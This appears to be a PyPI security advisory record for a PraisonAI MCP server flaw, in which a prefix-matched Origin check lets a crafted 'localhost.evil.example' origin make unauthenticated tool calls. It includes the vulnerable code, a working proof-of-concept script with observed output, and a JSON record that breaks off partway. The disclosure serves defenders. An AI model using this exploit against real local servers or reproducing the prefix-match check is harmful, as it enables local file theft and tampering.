PYSEC-2026-3896
Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02Summary
PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.
As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.
When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.
This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.
Details
Relevant source locations:
src/praisonai/praisonai/mcp_server/cli.pysrc/praisonai/praisonai/mcp_server/transports/http_stream.pysrc/praisonai/praisonai/mcp_server/server.pysrc/praisonai/praisonai/mcp_server/adapters/__init__.pysrc/praisonai/praisonai/mcp_server/adapters/extended_capabilities.pysrc/praisonai/praisonai/mcp_server/adapters/cli_tools.pysrc/praisonai/praisonai/capabilities/files.py
The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")
The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:
register_all()
server.run_http_stream(
host=parsed.host,
port=parsed.port,
endpoint=parsed.endpoint,
api_key=parsed.api_key,
cors_origins=cors_origins,
allowed_origins=allowed_origins,
session_ttl=parsed.session_ttl,
allow_client_termination=allow_termination,
response_mode=parsed.response_mode,
resumability_enabled=parsed.resumability,
)
When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:
if allowed_origins is None:
if host in ("127.0.0.1", "localhost", "::1"):
self.allowed_origins = [
"http://localhost",
"http://127.0.0.1",
"https://localhost",
"https://127.0.0.1",
]
The vulnerable validation accepts origins that merely start with an allowlisted value:
for allowed in self.allowed_origins:
if request_origin == allowed or request_origin.startswith(allowed):
return True
Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.
Authentication is only enforced if an API key is configured:
if self.api_key:
auth_header = request.headers.get("Authorization", "")
if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
return JSONResponse(
{"error": "Unauthorized"},
status_code=401,
)
The request body is then parsed and dispatched to the MCP server:
body = await request.json()
response = await self.server.handle_message(body)
The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:
tool_name = params.get("name")
arguments = params.get("arguments", {})
tool = self._tool_registry.get(tool_name)
if asyncio.iscoroutinefunction(tool.handler):
result = await tool.handler(**arguments)
else:
result = tool.handler(**arguments)
register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:
def _register_all():
register_all_tools()
register_extended_capability_tools()
register_cli_tools()
register_mcp_resources()
register_mcp_prompts()
One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():
@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
from praisonai.capabilities import file_create
result = file_create(file=file_path, purpose=purpose)
file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:
file_obj = file
if isinstance(file, str):
file_obj = open(file, 'rb')
response = litellm.create_file(**call_kwargs)
Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.
PoC
The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.
Run from the repository root with test dependencies installed:
python3 poc_mcp_origin_bypass.py
poc_mcp_origin_bypass.py:
import json
import os
import sys
import tempfile
import types
from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")
def create_file(**kwargs):
f = kwargs["file"]
captured["filename"] = getattr(f, "name", "<bytes>")
captured["content"] = f.read().decode("utf-8")
class Resp:
id = "file-safe-local-poc"
object = "file"
bytes = len(captured["content"])
filename = captured["filename"]
purpose = kwargs.get("purpose")
status = "processed"
return Resp()
fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm
from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all
register_all()
server = MCPServer(name="praisonai-local-poc")
# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
server=server,
host="127.0.0.1",
api_key=None,
allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)
with tempfile.TemporaryDirectory() as td:
os.environ["HOME"] = td
marker = Path(td) / "safe-marker.txt"
marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")
file_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "praisonai.files.create",
"arguments": {
"file_path": str(marker),
"purpose": "assistants",
},
},
}
# Non-localhost malicious origin is blocked.
blocked = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "https://evil.example",
"Content-Type": "text/plain",
},
)
# Prefix-matching bypass: accepted because it starts with http://localhost.
bypass = client.post(
"/mcp",
data=json.dumps(file_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_payload = {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "praisonai.todo.add",
"arguments": {
"content": "SAFE_LOCAL_TODO_MARKER",
"priority": "high",
},
},
}
todo = client.post(
"/mcp",
data=json.dumps(todo_payload),
headers={
"Origin": "http://localhost.evil.example",
"Content-Type": "text/plain",
},
)
todo_file = Path(td) / ".praison" / "todo.json"
print(json.dumps({
"blocked_origin_status": blocked.status_code,
"bypass_origin_status": bypass.status_code,
"bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
"captured_file_basename": Path(captured.get("filename", "")).name,
"captured_file_content": captured.get("content"),
"todo_status": todo.status_code,
"todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
"todo_file_exists": todo_file.exists(),
}, indent=2))
Observed output:
{
"blocked_origin_status": 403,
"bypass_origin_status": 200,
"bypass_response_text": "File created: file-safe-local-poc",
"captured_file_basename": "safe-marker.txt",
"captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
"todo_status": 200,
"todo_response_text": "Todo added: 0440613d",
"todo_file_exists": true
}
The important results are:
Origin: https://evil.exampleis rejected with403.Origin: http://localhost.evil.exampleis accepted with200.- The bypassed request invokes
praisonai.files.createand reads the local safe marker file. - The bypassed request invokes
praisonai.todo.addand writes local PraisonAI state.
Impact
A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.
In local testing, this allowed invoking registered PraisonAI tools that:
- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
- modify local PraisonAI state by writing to
~/.praison/todo.json.
The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.
| Name | purl | praisonai | pkg:pypi/praisonai |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonai",
"purl": "pkg:pypi/praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.10",
"0.0.11",
"0.0.12",
"0.0.13",
"0.0.14",
"0.0.15",
"0.0.16",
"0.0.17",
"0.0.18",
"0.0.19",
"0.0.2",
"0.0.20",
"0.0.21",
"0.0.22",
"0.0.23",
"0.0.24",
"0.0.25",
"0.0.26",
"0.0.27",
"0.0.28",
"0.0.29",
"0.0.3",
"0.0.30",
"0.0.31",
"0.0.32",
"0.0.33",
"0.0.34",
"0.0.35",
"0.0.36",
"0.0.37",
"0.0.38",
"0.0.39",
"0.0.4",
"0.0.40",
"0.0.41",
"0.0.42",
"0.0.43",
"0.0.44",
"0.0.45",
"0.0.46",
"0.0.47",
"0.0.48",
"0.0.49",
"0.0.5",
"0.0.50",
"0.0.52",
"0.0.53",
"0.0.54",
"0.0.55",
"0.0.56",
"0.0.57",
"0.0.58",
"0.0.59",
"0.0.59rc11",
"0.0.59rc2",
"0.0.59rc3",
"0.0.59rc5",
"0.0.59rc6",
"0.0.59rc7",
"0.0.59rc8",
"0.0.59rc9",
"0.0.6",
"0.0.61",
"0.0.64",
"0.0.65",
"0.0.66",
"0.0.67",
"0.0.68",
"0.0.69",
"0.0.7",
"0.0.70",
"0.0.71",
"0.0.72",
"0.0.73",
"0.0.74",
"0.0.8",
"0.0.9",
"0.1.0",
"0.1.1",
"0.1.10",
"0.1.2",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"1.0.0",
"1.0.1",
"1.0.10",
"1.0.11",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.8",
"1.0.9",
"2.0.0",
"2.0.1",
"2.0.10",
"2.0.11",
"2.0.12",
"2.0.13",
"2.0.14",
"2.0.15",
"2.0.16",
"2.0.17",
"2.0.18",
"2.0.19",
"2.0.2",
"2.0.20",
"2.0.22",
"2.0.23",
"2.0.24",
"2.0.25",
"2.0.26",
"2.0.27",
"2.0.28",
"2.0.29",
"2.0.3",
"2.0.30",
"2.0.31",
"2.0.32",
"2.0.33",
"2.0.34",
"2.0.35",
"2.0.36",
"2.0.37",
"2.0.38",
"2.0.39",
"2.0.40",
"2.0.41",
"2.0.42",
"2.0.43",
"2.0.44",
"2.0.45",
"2.0.46",
"2.0.47",
"2.0.48",
"2.0.49",
"2.0.5",
"2.0.50",
"2.0.51",
"2.0.53",
"2.0.54",
"2.0.55",
"2.0.56",
"2.0.57",
"2.0.58",
"2.0.59",
"2.0.6",
"2.0.60",
"2.0.61",
"2.0.62",
"2.0.63",
"2.0.64",
"2.0.65",
"2.0.66",
"2.0.67",
"2.0.68",
"2.0.69",
"2.0.7",
"2.0.70",
"2.0.71",
"2.0.72",
"2.0.73",
"2.0.74",
"2.0.75",
"2.0.76",
"2.0.77",
"2.0.78",
"2.0.79",
"2.0.8",
"2.0.80",
"2.0.81",
"2.0.9",
"2.1.0",
"2.1.1",
"2.1.4",
"2.1.5",
"2.1.6",
"2.2.1",
"2.2.10",
"2.2.11",
"2.2.12",
"2.2.13",
"2.2.14",
"2.2.15",
"2.2.16",
"2.2.17",
"2.2.18",
"2.2.19",
"2.2.2",
"2.2.20",
"2.2.21",
"2.2.22",
"2.2.24",
"2.2.25",
"2.2.26",
"2.2.27",
"2.2.28",
"2.2.29",
"2.2.3",
"2.2.30",
"2.2.31",
"2.2.32",
"2.2.33",
"2.2.34",
"2.2.35",
"2.2.36",
"2.2.37",
"2.2.38",
"2.2.39",
"2.2.4",
"2.2.40",
"2.2.41",
"2.2.42",
"2.2.43",
"2.2.44",
"2.2.45",
"2.2.46",
"2.2.47",
"2.2.48",
"2.2.49",
"2.2.5",
"2.2.50",
"2.2.51",
"2.2.52",
"2.2.53",
"2.2.54",
"2.2.55",
"2.2.56",
"2.2.57",
"2.2.58",
"2.2.59",
"2.2.6",
"2.2.60",
"2.2.61",
"2.2.62",
"2.2.63",
"2.2.64",
"2.2.65",
"2.2.66",
"2.2.67",
"2.2.68",
"2.2.69",
"2.2.7",
"2.2.70",
"2.2.71",
"2.2.72",
"2.2.73",
"2.2.74",
"2.2.75",
"2.2.76",
"2.2.77",
"2.2.78",
"2.2.79",
"2.2.8",
"2.2.80",
"2.2.81",
"2.2.82",
"2.2.83",
"2.2.84",
"2.2.86",
"2.2.87",
"2.2.88",
"2.2.89",
"2.2.9",
"2.2.90",
"2.2.91",
"2.2.93",
"2.2.95",
"2.2.96",
"2.2.97",
"2.2.98",
"2.2.99",
"2.3.0",
"2.3.1",
"2.3.10",
"2.3.11",
"2.3.12",
"2.3.13",
"2.3.14",
"2.3.15",
"2.3.16",
"2.3.18",
"2.3.19",
"2.3.2",
"2.3.20",
"2.3.21",
"2.3.22",
"2.3.23",
"2.3.24",
"2.3.25",
"2.3.26",
"2.3.27",
"2.3.28",
"2.3.29",
"2.3.3",
"2.3.30",
"2.3.31",
"2.3.32",
"2.3.33",
"2.3.34",
"2.3.35",
"2.3.36",
"2.3.37",
"2.3.38",
"2.3.39",
"2.3.4",
"2.3.40",
"2.3.41",
"2.3.42",
"2.3.43",
"2.3.44",
"2.3.45",
"2.3.46",
"2.3.47",
"2.3.48",
"2.3.49",
"2.3.5",
"2.3.50",
"2.3.51",
"2.3.52",
"2.3.53",
"2.3.54",
"2.3.55",
"2.3.56",
"2.3.57",
"2.3.58",
"2.3.59",
"2.3.6",
"2.3.60",
"2.3.61",
"2.3.62",
"2.3.63",
"2.3.64",
"2.3.65",
"2.3.66",
"2.3.67",
"2.3.68",
"2.3.69",
"2.3.7",
"2.3.70",
"2.3.71",
"2.3.72",
"2.3.73",
"2.3.74",
"2.3.75",
"2.3.76",
"2.3.77",
"2.3.78",
"2.3.79",
"2.3.8",
"2.3.80",
"2.3.81",
"2.3.82",
"2.3.83",
"2.3.84",
"2.3.85",
"2.3.86",
"2.3.87",
"2.3.9",
"2.4.0",
"2.4.1",
"2.4.2",
"2.4.3",
"2.4.4",
"2.5.0",
"2.5.1",
"2.5.2",
"2.5.3",
"2.5.4",
"2.5.5",
"2.5.6",
"2.5.7",
"2.6.0",
"2.6.1",
"2.6.2",
"2.6.3",
"2.6.4",
"2.6.5",
"2.6.6",
"2.6.7",
"2.6.8",
"2.7.0",
"2.8.3",
"2.8.4",
"2.8.5",
"2.8.6",
"2.8.7",
"2.8.8",
"2.8.9",
"2.9.0",
"2.9.1",
"2.9.2",
"3.0.0",
"3.0.1",
"3.0.2",
"3.0.3",
"3.0.4",
"3.0.5",
"3.0.6",
"3.0.7",
"3.0.8",
"3.0.9",
"3.1.0",
"3.1.1",
"3.1.2",
"3.1.3",
"3.1.4",
"3.1.5",
"3.1.6",
"3.1.7",
"3.1.8",
"3.1.9",
"3.10.0",
"3.10.1",
"3.10.10",
"3.10.11",
"3.10.12",
"3.10.13",
"3.10.14",
"3.10.15",
"3.10.16",
"3.10.17",
"3.10.18",
"3.10.19",
"3.10.2",
"3.10.20",
"3.10.21",
"3.10.22",
"3.10.23",
"3.10.24",
"3.10.25",
"3.10.26",
"3.10.27",
"3.10.3",
"3.10.4",
"3.10.5",
"3.10.6",
"3.10.7",
"3.10.8",
"3.10.9",
"3.11.0",
"3.11.1",
"3.11.10",
"3.11.11",
"3.11.12",
"3.11.13",
"3.11.14",
"3.11.2",
"3.11.3",
"3.11.4",
"3.11.8",
"3.11.9",
"3.12.0",
"3.12.1",
"3.12.2",
"3.12.3",
"3.2.0",
"3.2.1",
"3.3.0",
"3.3.1",
"3.4.0",
"3.4.1",
"3.5.0",
"3.5.1",
"3.5.2",
"3.5.3",
"3.5.4",
"3.5.5",
"3.5.6",
"3.5.7",
"3.5.8",
"3.5.9",
"3.6.0",
"3.6.1",
"3.6.2",
"3.7.0",
"3.7.1",
"3.7.2",
"3.7.3",
"3.7.4",
"3.7.5",
"3.7.6",
"3.7.7",
"3.7.8",
"3.7.9",
"3.8.0",
"3.8.1",
"3.8.10",
"3.8.11",
"3.8.12",
"3.8.13",
"3.8.14",
"3.8.16",
"3.8.17",
"3.8.18",
"3.8.19",
"3.8.2",
"3.8.20",
"3.8.21",
"3.8.22",
"3.8.3",
"3.8.4",
"3.8.5",
"3.8.6",
"3.8.7",
"3.8.8",
"3.8.9",
"3.9.0",
"3.9.1",
"3.9.10",
"3.9.11",
"3.9.12",
"3.9.13",
"3.9.14",
"3.9.15",
"3.9.16",
"3.9.17",
"3.9.18",
"3.9.19",
"3.9.2",
"3.9.20",
"3.9.21",
"3.9.22",
"3.9.23",
"3.9.24",
"3.9.25",
"3.9.26",
"3.9.27",
"3.9.28",
"3.9.29",
"3.9.3",
"3.9.30",
"3.9.31",
"3.9.32",
"3.9.33",
"3.9.34",
"3.9.35",
"3.9.4",
"3.9.5",
"3.9.6",
"3.9.7",
"3.9.8",
"3.9.9",
"4.0.0",
"4.1.0",
"4.2.0",
"4.2.1",
"4.2.2",
"4.2.3",
"4.2.4",
"4.3.0",
"4.3.1",
"4.4.0",
"4.4.10",
"4.4.11",
"4.4.12",
"4.4.2",
"4.4.3",
"4.4.4",
"4.4.5",
"4.4.6",
"4.4.7",
"4.4.8",
"4.4.9",
"4.5.0",
"4.5.1",
"4.5.10",
"4.5.100",
"4.5.101",
"4.5.102",
"4.5.103",
"4.5.104",
"4.5.105",
"4.5.106",
"4.5.107",
"4.5.108",
"4.5.109",
"4.5.11",
"4.5.110",
"4.5.111",
"4.5.112",
"4.5.113",
"4.5.114",
"4.5.115",
"4.5.117",
"4.5.118",
"4.5.119",
"4.5.12",
"4.5.120",
"4.5.121",
"4.5.122",
"4.5.123",
"4.5.124",
"4.5.125",
"4.5.126",
"4.5.127",
"4.5.128",
"4.5.129",
"4.5.13",
"4.5.130",
"4.5.131",
"4.5.132",
"4.5.133",
"4.5.134",
"4.5.135",
"4.5.136",
"4.5.137",
"4.5.139",
"4.5.14",
"4.5.140",
"4.5.143",
"4.5.144",
"4.5.145",
"4.5.149",
"4.5.15",
"4.5.16",
"4.5.18",
"4.5.19",
"4.5.2",
"4.5.20",
"4.5.21",
"4.5.22",
"4.5.23",
"4.5.24",
"4.5.25",
"4.5.26",
"4.5.27",
"4.5.28",
"4.5.29",
"4.5.3",
"4.5.30",
"4.5.31",
"4.5.32",
"4.5.33",
"4.5.34",
"4.5.35",
"4.5.36",
"4.5.37",
"4.5.38",
"4.5.39",
"4.5.40",
"4.5.41",
"4.5.42",
"4.5.43",
"4.5.44",
"4.5.45",
"4.5.46",
"4.5.48",
"4.5.49",
"4.5.5",
"4.5.51",
"4.5.52",
"4.5.54",
"4.5.55",
"4.5.56",
"4.5.57",
"4.5.58",
"4.5.59",
"4.5.6",
"4.5.60",
"4.5.62",
"4.5.63",
"4.5.64",
"4.5.65",
"4.5.67",
"4.5.68",
"4.5.69",
"4.5.7",
"4.5.70",
"4.5.71",
"4.5.72",
"4.5.73",
"4.5.74",
"4.5.76",
"4.5.77",
"4.5.78",
"4.5.79",
"4.5.8",
"4.5.80",
"4.5.81",
"4.5.82",
"4.5.83",
"4.5.85",
"4.5.87",
"4.5.88",
"4.5.89",
"4.5.9",
"4.5.90",
"4.5.93",
"4.5.94",
"4.5.95",
"4.5.96",
"4.5.97",
"4.5.98",
"4.6.10",
"4.6.11",
"4.6.12",
"4.6.13",
"4.6.14",
"4.6.15",
"4.6.16",
"4.6.18",
"4.6.19",
"4.6.20",
"4.6.21",
"4.6.22",
"4.6.23",
"4.6.24",
"4.6.25",
"4.6.26",
"4.6.27",
"4.6.28",
"4.6.29",
"4.6.30",
"4.6.31",
"4.6.32",
"4.6.33",
"4.6.34",
"4.6.35",
"4.6.36",
"4.6.37",
"4.6.38",
"4.6.39",
"4.6.40",
"4.6.41",
"4.6.42",
"4.6.43",
"4.6.44",
"4.6.45",
"4.6.46",
"4.6.47",
"4.6.48",
"4.6.50",
"4.6.51",
"4.6.52",
"4.6.53",
"4.6.54",
"4.6.55",
"4.6.56",
"4.6.57",
"4.6.9"
]
}
],
"aliases": [
"CVE-2026-55529",
"GHSA-wj6g-v78p-6fx3"
],
"details": "### Summary\n\nPraisonAI\u0027s MCP HTTP Stream transport uses an unsafe prefix match when validating the `Origin` header. The default localhost allowlist includes origins such as `http://localhost`, and the validation accepts any origin that starts with an allowed value.\n\nAs a result, an attacker-controlled origin such as `http://localhost.evil.example` passes the localhost origin check.\n\nWhen the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP `tools/call` requests against a locally running PraisonAI MCP server.\n\nThis is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to `127.0.0.1`, so this is not a directly internet-facing unauthenticated API in the default configuration.\n\n### Details\n\nRelevant source locations:\n\n- `src/praisonai/praisonai/mcp_server/cli.py`\n- `src/praisonai/praisonai/mcp_server/transports/http_stream.py`\n- `src/praisonai/praisonai/mcp_server/server.py`\n- `src/praisonai/praisonai/mcp_server/adapters/__init__.py`\n- `src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py`\n- `src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`\n- `src/praisonai/praisonai/capabilities/files.py`\n\nThe MCP CLI defaults to HTTP host `127.0.0.1`, API key `None`, and allowed origins `None` unless explicitly configured:\n\n```python\nparser.add_argument(\"--host\", default=\"127.0.0.1\")\nparser.add_argument(\"--port\", type=int, default=8080)\nparser.add_argument(\"--api-key\", default=None)\nparser.add_argument(\"--allowed-origins\", default=None, help=\"Comma-separated allowed origins for security\")\n```\n\nThe CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:\n\n```python\nregister_all()\n\nserver.run_http_stream(\n host=parsed.host,\n port=parsed.port,\n endpoint=parsed.endpoint,\n api_key=parsed.api_key,\n cors_origins=cors_origins,\n allowed_origins=allowed_origins,\n session_ttl=parsed.session_ttl,\n allow_client_termination=allow_termination,\n response_mode=parsed.response_mode,\n resumability_enabled=parsed.resumability,\n)\n```\n\nWhen `allowed_origins` is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:\n\n```python\nif allowed_origins is None:\n if host in (\"127.0.0.1\", \"localhost\", \"::1\"):\n self.allowed_origins = [\n \"http://localhost\",\n \"http://127.0.0.1\",\n \"https://localhost\",\n \"https://127.0.0.1\",\n ]\n```\n\nThe vulnerable validation accepts origins that merely start with an allowlisted value:\n\n```python\nfor allowed in self.allowed_origins:\n if request_origin == allowed or request_origin.startswith(allowed):\n return True\n```\n\nBecause `http://localhost.evil.example` starts with `http://localhost`, it is accepted as a trusted localhost origin.\n\nAuthentication is only enforced if an API key is configured:\n\n```python\nif self.api_key:\n auth_header = request.headers.get(\"Authorization\", \"\")\n if not auth_header.startswith(\"Bearer \") or auth_header[7:] != self.api_key:\n return JSONResponse(\n {\"error\": \"Unauthorized\"},\n status_code=401,\n )\n```\n\nThe request body is then parsed and dispatched to the MCP server:\n\n```python\nbody = await request.json()\nresponse = await self.server.handle_message(body)\n```\n\nThe MCP server handles `tools/call` by looking up the named tool and invoking the registered handler with attacker-controlled arguments:\n\n```python\ntool_name = params.get(\"name\")\narguments = params.get(\"arguments\", {})\n\ntool = self._tool_registry.get(tool_name)\n\nif asyncio.iscoroutinefunction(tool.handler):\n result = await tool.handler(**arguments)\nelse:\n result = tool.handler(**arguments)\n```\n\n`register_all()` registers capability tools, extended capability tools, CLI tools, resources, and prompts:\n\n```python\ndef _register_all():\n register_all_tools()\n register_extended_capability_tools()\n register_cli_tools()\n register_mcp_resources()\n register_mcp_prompts()\n```\n\nOne exposed MCP tool is `praisonai.files.create`, which accepts a local `file_path` and passes it to `file_create()`:\n\n```python\n@register_tool(\"praisonai.files.create\")\ndef files_create(file_path: str, purpose: str = \"assistants\") -\u003e str:\n from praisonai.capabilities import file_create\n result = file_create(file=file_path, purpose=purpose)\n```\n\n`file_create()` opens attacker-selected string paths as local files and passes the file object to LiteLLM:\n\n```python\nfile_obj = file\nif isinstance(file, str):\n file_obj = open(file, \u0027rb\u0027)\n\nresponse = litellm.create_file(**call_kwargs)\n```\n\nAnother exposed MCP tool, `praisonai.todo.add`, writes attacker-supplied content into local PraisonAI state at `~/.praison/todo.json`.\n\n### PoC\n\nThe following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory `litellm` module so the file-read effect is captured locally and safely.\n\nRun from the repository root with test dependencies installed:\n\n```bash\npython3 poc_mcp_origin_bypass.py\n```\n\n`poc_mcp_origin_bypass.py`:\n\n```python\nimport json\nimport os\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\nfrom starlette.testclient import TestClient\n\nROOT = Path.cwd()\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai\"))\nsys.path.insert(0, str(ROOT / \"src\" / \"praisonai-agents\"))\n\n# Fake litellm so the PoC proves local file read without network exfiltration.\ncaptured = {}\nfake_litellm = types.ModuleType(\"litellm\")\n\ndef create_file(**kwargs):\n f = kwargs[\"file\"]\n captured[\"filename\"] = getattr(f, \"name\", \"\u003cbytes\u003e\")\n captured[\"content\"] = f.read().decode(\"utf-8\")\n\n class Resp:\n id = \"file-safe-local-poc\"\n object = \"file\"\n bytes = len(captured[\"content\"])\n filename = captured[\"filename\"]\n purpose = kwargs.get(\"purpose\")\n status = \"processed\"\n\n return Resp()\n\nfake_litellm.create_file = create_file\nsys.modules[\"litellm\"] = fake_litellm\n\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.transports.http_stream import HTTPStreamTransport\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer(name=\"praisonai-local-poc\")\n\n# Default vulnerable configuration: localhost host, no API key, default allowed origins.\ntransport = HTTPStreamTransport(\n server=server,\n host=\"127.0.0.1\",\n api_key=None,\n allowed_origins=None,\n)\napp = transport._create_app()\nclient = TestClient(app)\n\nwith tempfile.TemporaryDirectory() as td:\n os.environ[\"HOME\"] = td\n\n marker = Path(td) / \"safe-marker.txt\"\n marker.write_text(\"SAFE_LOCAL_MARKER_MCP_FILE_READ\")\n\n file_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"praisonai.files.create\",\n \"arguments\": {\n \"file_path\": str(marker),\n \"purpose\": \"assistants\",\n },\n },\n }\n\n # Non-localhost malicious origin is blocked.\n blocked = client.post(\n \"/mcp\",\n data=json.dumps(file_payload),\n headers={\n \"Origin\": \"https://evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n # Prefix-matching bypass: accepted because it starts with http://localhost.\n bypass = client.post(\n \"/mcp\",\n data=json.dumps(file_payload),\n headers={\n \"Origin\": \"http://localhost.evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n todo_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"praisonai.todo.add\",\n \"arguments\": {\n \"content\": \"SAFE_LOCAL_TODO_MARKER\",\n \"priority\": \"high\",\n },\n },\n }\n\n todo = client.post(\n \"/mcp\",\n data=json.dumps(todo_payload),\n headers={\n \"Origin\": \"http://localhost.evil.example\",\n \"Content-Type\": \"text/plain\",\n },\n )\n\n todo_file = Path(td) / \".praison\" / \"todo.json\"\n\n print(json.dumps({\n \"blocked_origin_status\": blocked.status_code,\n \"bypass_origin_status\": bypass.status_code,\n \"bypass_response_text\": bypass.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n \"captured_file_basename\": Path(captured.get(\"filename\", \"\")).name,\n \"captured_file_content\": captured.get(\"content\"),\n \"todo_status\": todo.status_code,\n \"todo_response_text\": todo.json().get(\"result\", {}).get(\"content\", [{}])[0].get(\"text\"),\n \"todo_file_exists\": todo_file.exists(),\n }, indent=2))\n```\n\nObserved output:\n\n```json\n{\n \"blocked_origin_status\": 403,\n \"bypass_origin_status\": 200,\n \"bypass_response_text\": \"File created: file-safe-local-poc\",\n \"captured_file_basename\": \"safe-marker.txt\",\n \"captured_file_content\": \"SAFE_LOCAL_MARKER_MCP_FILE_READ\",\n \"todo_status\": 200,\n \"todo_response_text\": \"Todo added: 0440613d\",\n \"todo_file_exists\": true\n}\n```\n\nThe important results are:\n\n- `Origin: https://evil.example` is rejected with `403`.\n- `Origin: http://localhost.evil.example` is accepted with `200`.\n- The bypassed request invokes `praisonai.files.create` and reads the local safe marker file.\n - The bypassed request invokes `praisonai.todo.add` and writes local PraisonAI state.\n\n### Impact\n\nA malicious webpage can bypass the localhost Origin allowlist and trigger MCP `tools/call` requests against a locally running unauthenticated HTTP Stream server.\n\nIn local testing, this allowed invoking registered PraisonAI tools that:\n\n- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and\n- modify local PraisonAI state by writing to `~/.praison/todo.json`.\n\nThe default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.",
"id": "PYSEC-2026-3896",
"modified": "2026-09-10T11:02:27.693791Z",
"published": "2026-09-10T09:44:53.938487Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wj6g-v78p-6fx3"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonai"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-wj6g-v78p-6fx3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55529"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
